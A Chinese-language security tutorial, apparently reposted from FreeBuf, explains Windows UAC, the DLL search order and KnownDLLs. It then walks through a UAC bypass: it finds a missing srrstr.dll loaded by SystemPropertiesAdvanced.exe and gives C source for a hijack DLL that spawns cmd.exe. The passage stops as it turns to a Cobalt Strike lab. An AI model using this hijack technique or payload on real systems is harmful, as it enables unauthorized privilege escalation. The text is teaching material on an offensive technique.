操作系统权限提升 | 基于白名单DLL劫持绕过UAC提权
2023-12-14 09:54:47 Author: www.freebuf.com(查看原文) 阅读量:10 收藏

UAC概述

UAC(User Account Control),中文翻译为用户帐户控制,是微软在Windows Vista和Windows7中引用的新技术,主要功能是进行一些会影响系统安全的操作时,会自动触发UAC,用户确认后才能执行。因为大部分的恶意软件、木马病毒、广告插件在进入计算机时都会有如:将文件复制到Windows或Program Files等目录、安装驱动、安装ActiveX等操作,而这些操作都会触发UAC,用户都可以在UAC提示时来禁止这些程序的运行

许可提示当用户尝试执行需要用户管理访问令牌的任务时,会显示同意提示,下面是 UAC 同意提示的示例

图片.png

选择是执行程序,选择否则相反

凭据提示当标准用户尝试执行需要用户管理访问令牌的任务时,会显示凭据提示, 还可以要求管理员提供其凭据。

图片.png

UAC触发操作

UAC触发的条件如下

修改Windows Update配置;
增加或删除用户帐户;
改变用户的帐户类型;
改变UAC设置;
安装ActiveX;
安装或卸载程序;
安装设备驱动程序;
修改和设置家长控制;
增加或修改注册表;
将文件移动或复制到Program Files或是Windows目录;
访问其他用户目录

UAC有用四种设置要求

简单来说,UAC设置分四种,分为始终通知、仅在程序尝试对我的计算机进行更改时通知我、仅当程序尝试更改计算机时通知我(不降低桌面亮度)和从不通知。按W+R --输入msconfig 设置UAC

图片.png

图片.png

基于白名单DLL劫持绕过UAC提权原理

DLL是什么

dll为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,放置于系统中,个人理解类似于我们编程中引入的模块

DLL提权原理

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。这就是所谓的DLL劫持

DLL的记载顺序如下

1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5.加载 DLL 时所在的当前目录
6.PATH环境变量中列出的目录

Know Dlls注册表项

从windows7之后,微软为了更进一步的防御系统的dll劫持,将一些容易被劫持的系统dll写进了一个注册表项中,那么凡是在此项目下的dll文件就会被禁止从exe自身所在目录下调用,而只能从系统目录即system32目录下调用

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

图片.png

当前采用win7系统,找到一个白名单的程序 SystemPropertiesAdvanced.exe 位置在C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe目录下,打开如下是windows的属性设置,通过进程监控找到加载的DLL文件进行劫持就可以提权

图片.png

先将操作在本地执行,使用procmon进行监控,过滤DLL和 NAME NOT FOUND ,寻找可以替换的DLL文件,注意文件的权限是否可以在目录写入,可以看到在C盘的tools目录的文件中有一个srrstr.dll被调用,但是没有加载,我们生成恶意的DLL文件看看是否可以被劫持

图片.png

图片.png

打开C语言编辑器生成DLL文件,进行弹出CMD窗口,或者打开计算器进行测试CPP文件内容如下

/* Replace "dll.h" with the name of your header */
#include "dll.h"
#include <windows.h>
#include <stdlib.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
	switch(fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		{
			system("cmd.exe");
		}
		case DLL_PROCESS_DETACH:
		{
				break;
		}
		case DLL_THREAD_ATTACH:
		{
				break;
		}
		case DLL_THREAD_DETACH:
		{
				break;
		}
	}
	
	/* Return TRUE on success, FALSE on failure */
	return TRUE;
}

图片.png

将我们生成的DLL文件改名为我们要劫持的DLL文件名

图片.png

生成DLL文件并且,传到 C:\tools\srrstr.dll 目录下,看看是否能劫持,并且绕过UAC

图片.png

程序在执行时,弹出了cmd窗口,由于这个程序是白名单的程序,自然也就跟着绕过了UAC

图片.png

提权实验

知道了提权的原理接下来我们利用CS上线进行劫持DLL提权绕过UAC认证,首先上线CS


文章来源: https://www.freebuf.com/articles/network/386553.html
如有侵权请联系:admin#unsafe.sh